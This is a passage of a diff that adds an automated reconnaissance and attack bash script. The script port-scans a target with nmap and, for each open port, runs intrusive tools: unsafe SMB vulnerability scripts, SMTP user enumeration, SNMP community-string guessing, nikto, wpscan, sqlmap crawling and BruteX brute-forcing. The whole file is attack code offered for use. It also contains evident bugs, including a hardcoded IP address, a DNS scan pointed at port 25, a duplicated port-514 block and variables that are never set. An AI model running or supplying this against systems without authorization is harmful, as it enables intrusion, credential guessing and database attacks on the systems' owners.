$TARGET +echo "" +echo -e "$OKGREEN################################### Running port scan ##############################$RESET" +nmap -sS -sV -T4 -A -O --open $TARGET -oX $LOOT_DIR/nmap-$TARGET.xml +echo "" +echo -e "$OKGREEN################################### Running Intrusive Scans ########################$RESET" +port_21=`grep 'portid="21"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_22=`grep 'portid="22"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_23=`grep 'portid="23"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_25=`grep 'portid="25"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_53=`grep 'portid="53"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_80=`grep 'portid="80"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_110=`grep 'portid="110"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_111=`grep 'portid="111"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_135=`grep 'portid="135"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_139=`grep 'portid="139"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_162=`grep 'portid="162"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_443=`grep 'portid="443"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_445=`grep 'portid="445"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_512=`grep 'portid="512"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_513=`grep 'portid="513"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_514=`grep 'portid="514"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_1099=`grep 'portid="1099"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_1524=`grep 'portid="1524"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_2049=`grep 'portid="2049"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_2121=`grep 'portid="2121"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_3306=`grep 'portid="3306"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_3389=`grep 'portid="3389"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5432=`grep 'portid="5432"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5800=`grep 'portid="5800"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_5900=`grep 'portid="5900"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_6667=`grep 'portid="6667"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8000=`grep 'portid="8000"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8009=`grep 'portid="8009"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8080=`grep 'portid="8080"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_8180=`grep 'portid="8180"' $LOOT_DIR/nmap-$TARGET.xml | grep open` +port_49152=`grep 'portid="49152"' $LOOT_DIR/nmap-$TARGET.xml | grep open` + +if [ -z "$port_21" ] +then + echo -e "$OKRED+ -- --=[Port 21 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 21 opened... running tests...$RESET" + nmap -sV -sC -p 21 --script=ftp-* $TARGET + +fi + +if [ -z "$port_22" ] +then + echo -e "$OKRED+ -- --=[Port 22 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 22 opened... running tests...$RESET" + nmap -sV -sC -p 22 --script=ssh-* $TARGET +fi + +if [ -z "$port_23" ] +then + echo -e "$OKRED+ -- --=[Port 23 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 23 opened... running tests...$RESET" + echo "" + cisco-torch -A $TARGET + nmap -sV --script=telnet* -p 23 $TARGET +fi + +if [ -z "$port_25" ] +then + echo -e "$OKRED+ -- --=[Port 25 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 25 opened... running tests...$RESET" + nmap -sV --script=smtp* -p 25 192.168.1.113 + smtp-user-enum -M VRFY -U $USER_FILE -t $TARGET +fi + +if [ -z "$port_53" ] +then + echo -e "$OKRED+ -- --=[Port 53 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 53 opened... running tests...$RESET" + nmap -sV --script=dns* -p 25 192.168.1.113 +fi + +if [ -z "$port_80" ] +then + echo -e "$OKRED+ -- --=[Port 80 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 80 opened... running tests...$RESET" + goohak $TARGET 2> /dev/null + php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + nmap -sV -p 80 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-drupal-modules,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-email-harvest,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper $TARGET + wafw00f http://$TARGET + echo "" + whatweb http://$TARGET + xsstracer $TARGET 80 + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-Content' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Frame options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-Frame' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-XSS-Protection header is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i 'X-XSS' + echo "" + echo -e "$OKBLUE+ -- --=[Checking HTTP methods on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X OPTIONS http://$TARGET | grep Allow + echo "" + echo -e "$OKBLUE+ -- --=[Checking if TRACE method is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X TRACE http://$TARGET | grep TRACE + echo "" + echo -e "$OKBLUE+ -- --=[Checking for open proxy on $TARGET...$RESET $OKORANGE" + curl -s --insecure -x http://$TARGET:80 -L http://crowdshield.com/.testing/openproxy.txt + echo "" + echo -e "$OKBLUE+ -- --=[Enumerating software on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Server:|X-Powered|ASP|JSP|PHP|.NET" + echo "" + echo -e "$OKBLUE+ -- --=[Checking if Strict-Transport-Security is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET/ | egrep -i "Strict-Transport-Security" + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Flash cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/crossdomain.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Silverlight cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/clientaccesspolicy.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for HTML5 cross-origin resource sharing on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Access-Control-Allow-Origin" + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving robots.txt on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/robots.txt + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving sitemap.xml on $TARGET...$RESET $OKORANGE" + curl -s --insecure http://$TARGET/sitemap.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking cookie attributes on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I http://$TARGET | egrep -i "Cookie:" + echo "" + echo -e "$RESET" + + nikto -h http://$TARGET + wpscan --url http://$TARGET --batch + python $CMSMAP -t http://$TARGET + python /usr/share/sqlmap/sqlmap.py -u "http://$TARGET" --batch --crawl=5 -f +fi + +if [ -z "$port_110" ] +then + echo -e "$OKRED+ -- --=[Port 110 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 110 opened... running tests...$RESET" + nmap -sV --script=pop* -p 110 $TARGET +fi + +if [ -z "$port_111" ] +then + echo -e "$OKRED+ -- --=[Port 111 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 111 opened... running tests...$RESET" + showmount -a $TARGET + showmount -d $TARGET + showmount -e $TARGET +fi + +if [ -z "$port_135" ] +then + echo -e "$OKRED+ -- --=[Port 135 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 135 opened... running tests...$RESET" + rpcinfo -p $TARGET + nmap -p 135 --script=rpc* $TARGET +fi + +if [ -z "$port_139" ] +then + echo -e "$OKRED+ -- --=[Port 139 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 139 opened... running tests...$RESET" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap -sV --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET +fi + +if [ -z "$port_162" ] +then + echo -e "$OKRED+ -- --=[Port 162 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 162 opened... running tests...$RESET" + for a in `cat brutex/snmp-community-strings.txt`; do snmpwalk $TARGET -c $a; done; + nmap -p 162 --script=snmp* $TARGET +fi + +if [ -z "$port_443" ] +then + echo -e "$OKRED+ -- --=[Port 443 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 443 opened... running tests...$RESET" + nmap -sV -p 443 --script=http-enum,http-feed,http-open-proxy,http-headers,http-cors,http-server-header,http-php-version,http-form-brute,http-iis-short-name-brute,http-waf-fingerprint,http-auth,http-trace,http-iis-webdav-vuln,http-useragent-tester,http-vuln-cve2011-3368,http-userdir-enum,http-passwd,http-drupal-modules,http-csrf,http-wordpress-enum,http-frontpage-login,http-dombased-xss,http-phpself-xss,http-sql-injection,http-drupal-enum-users,http-referer-checker,http-vuln-cve2009-3960,http-methods,http-email-harvest,http-open-redirect,http-vuln-cve2011-3192,http-stored-xss,http-vuln-cve2013-0156,http-put,http-proxy-brute,http-rfi-spider,http-method-tamper,tls-nextprotoneg,ssl* $TARGET + goohak $TARGET 2> /dev/null + php $INURLBR --dork "site:$TARGET" -s $LOOT_DIR/inurlbr-$TARGET.txt >> $LOOT_DIR/inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + wafw00f https://$TARGET + echo "" + whatweb https://$TARGET + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Content options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-Content' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-Frame options are enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-Frame' + echo "" + echo -e "$OKBLUE+ -- --=[Checking if X-XSS-Protection header is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i 'X-XSS' + echo "" + echo -e "$OKBLUE+ -- --=[Checking HTTP methods on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X OPTIONS https://$TARGET | grep Allow + echo "" + echo -e "$OKBLUE+ -- --=[Checking if TRACE method is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I -X TRACE https://$TARGET | grep TRACE + echo "" + echo -e "$OKBLUE+ -- --=[Checking for open proxy on $TARGET...$RESET $OKORANGE" + curl -x https://$TARGET:443 -L https://crowdshield.com/.testing/openproxy.txt -s --insecure + echo "" + echo -e "$OKBLUE+ -- --=[Enumerating software on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Server:|X-Powered|ASP|JSP|PHP|.NET" + echo "" + echo -e "$OKBLUE+ -- --=[Checking if Strict-Transport-Security is enabled on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET/ | egrep -i "Strict-Transport-Security" + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Flash cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/crossdomain.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for Silverlight cross-domain policy on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/clientaccesspolicy.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking for HTML5 cross-origin resource sharing on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Access-Control-Allow-Origin" + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving robots.txt on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/robots.txt + echo "" + echo -e "$OKBLUE+ -- --=[Retrieving sitemap.xml on $TARGET...$RESET $OKORANGE" + curl -s --insecure https://$TARGET/sitemap.xml + echo "" + echo -e "$OKBLUE+ -- --=[Checking cookie attributes on $TARGET...$RESET $OKORANGE" + curl -s --insecure -I https://$TARGET | egrep -i "Cookie:" + echo -e "$RESET" + sslscan --no-failed $TARGET + echo "" + nikto -h https://$TARGET + wpscan --url https://$TARGET --batch + python $CMSMAP -t https://$TARGET + python /usr/share/sqlmap/sqlmap.py -u "https://$TARGET" --batch --crawl=5 -f +fi + +if [ -z "$port_445" ] +then + echo -e "$OKRED+ -- --=[Port 445 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 445 opened... running tests...$RESET" + enum4linux $TARGET + python $SAMRDUMP $TARGET + nbtscan $TARGET + nmap --script=/usr/share/nmap/scripts/smb-check-vulns.nse --script=/usr/share/nmap/scripts/smb-os-discovery.nse --script=/usr/share/nmap/scripts/smb-enum-domains.nse --script=/usr/share/nmap/scripts/smb-server-stats.nse --script=/usr/share/nmap/scripts/smb-ls.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-054.nse --script=/usr/share/nmap/scripts/smb-vuln-ms10-061.nse --script=/usr/share/nmap/scripts/smb-system-info.nse --script=/usr/share/nmap/scripts/smb-enum-shares.nse --script=/usr/share/nmap/scripts/smb-enum-users.nse --script=/usr/share/nmap/scripts/smbv2-enabled.nse --script=/usr/share/nmap/scripts/smb-mbenum.nse --script-args=unsafe=1 -p 139 $TARGET +fi + +if [ -z "$port_512" ] +then + echo -e "$OKRED+ -- --=[Port 512 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 512 opened... running tests...$RESET" + nmap -sV -p 512 --script=rexec* $TARGET +fi + +if [ -z "$port_513" ] +then + echo -e "$OKRED+ -- --=[Port 513 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 513 opened... running tests...$RESET" + nmap -sV -p 513 --script=rexec* $TARGET +fi + +if [ -z "$port_514" ] +then + echo -e "$OKRED+ -- --=[Port 514 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 514 opened... running tests...$RESET" + amap $TARGET 514 -A +fi + +if [ -z "$port_514" ] +then + echo -e "$OKRED+ -- --=[Port 514 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 514 opened... running tests...$RESET" + amap -A $TARGET 1524 +fi + +if [ -z "$port_2121" ] +then + echo -e "$OKRED+ -- --=[Port 2121 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 2121 opened... running tests...$RESET" + nmap -sV --script=ftp* -p 2121 $TARGET +fi + +if [ -z "$port_3306" ] +then + echo -e "$OKRED+ -- --=[Port 3306 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 3306 opened... running tests...$RESET" + nmap -sV --script=mysql* -p 3306 $TARGET +fi + +if [ -z "$port_3389" ] +then + echo -e "$OKRED+ -- --=[Port 3389 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 3389 opened... running tests...$RESET" + nmap -sV --script=rdp-* -p 3389 $TARGET +fi + +if [ -z "$port_5432" ] +then + echo -e "$OKRED+ -- --=[Port 5432 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5432 opened... running tests...$RESET" + nmap -sV --script=pgsql-brute -p 5432 $TARGET +fi + +if [ -z "$port_5800" ] +then + echo -e "$OKRED+ -- --=[Port 5800 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5800 opened... running tests...$RESET" + nmap -sV --script=vnc* -p 5800 $TARGET +fi + +if [ -z "$port_5900" ] +then + echo -e "$OKRED+ -- --=[Port 5900 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 5900 opened... running tests...$RESET" + nmap -sV --script=vnc* -p 5900 $TARGET +fi + +if [ -z "$port_6000" ] +then + echo -e "$OKRED+ -- --=[Port 6000 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 6000 opened... running tests...$RESET" + nmap -sV --script=x11* -p 6000 $TARGET +fi + +if [ -z "$port_6667" ] +then + echo -e "$OKRED+ -- --=[Port 6667 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 6667 opened... running tests...$RESET" + nmap -sV --script=irc* -p 6667 $TARGET +fi + +if [ -z "$port_8000" ] +then + echo -e "$OKRED+ -- --=[Port 8000 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8000 opened... running tests...$RESET" + wafw00f http://$TARGET:8000 + echo "" + whatweb http://$TARGET:8000 + echo "" + xsstracer $TARGET 8000 + nikto -h http://$TARGET:8000 +fi + +if [ -z "$port_8100" ] +then + echo -e "$OKRED+ -- --=[Port 8100 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8100 opened... running tests...$RESET" + wafw00f http://$TARGET:8100 + echo "" + whatweb http://$TARGET:8100 + echo "" + xsstracer $TARGET 8100 + nikto -h http://$TARGET:8100 +fi + +if [ -z "$port_8080" ] +then + echo -e "$OKRED+ -- --=[Port 8080 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8080 opened... running tests...$RESET" + wafw00f http://$TARGET:8080 + echo "" + whatweb http://$TARGET:8080 + echo "" + xsstracer $TARGET 8080 + nikto -h http://$TARGET:8080 + nmap -p 8080 --script=proxy-* $TARGET +fi + +if [ -z "$port_8180" ] +then + echo -e "$OKRED+ -- --=[Port 8180 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 8180 opened... running tests...$RESET" + wafw00f http://$TARGET:8180 + echo "" + whatweb http://$TARGET:8180 + echo "" + xsstracer $TARGET 8180 + nikto -h http://$TARGET:8180 + nmap -p 8180 --script=proxy-* $TARGET +fi + +if [ -z "$port_49152" ] +then + echo -e "$OKRED+ -- --=[Port 49152 closed... skipping.$RESET" +else + echo -e "$OKGREEN+ -- --=[Port 49152 opened... running tests...$RESET" + $SUPER_MICRO_SCAN $TARGET +fi + +echo -e "$OKGREEN################################### Running Brute Force #############################$RESET" +cd BruteX/ +brutex $TARGET +rm -f hydra.restore +cd .. +echo "" +rm -f scan.log +echo -e "$OKGREEN################################### Done! ###########################################$RESET" +exit 0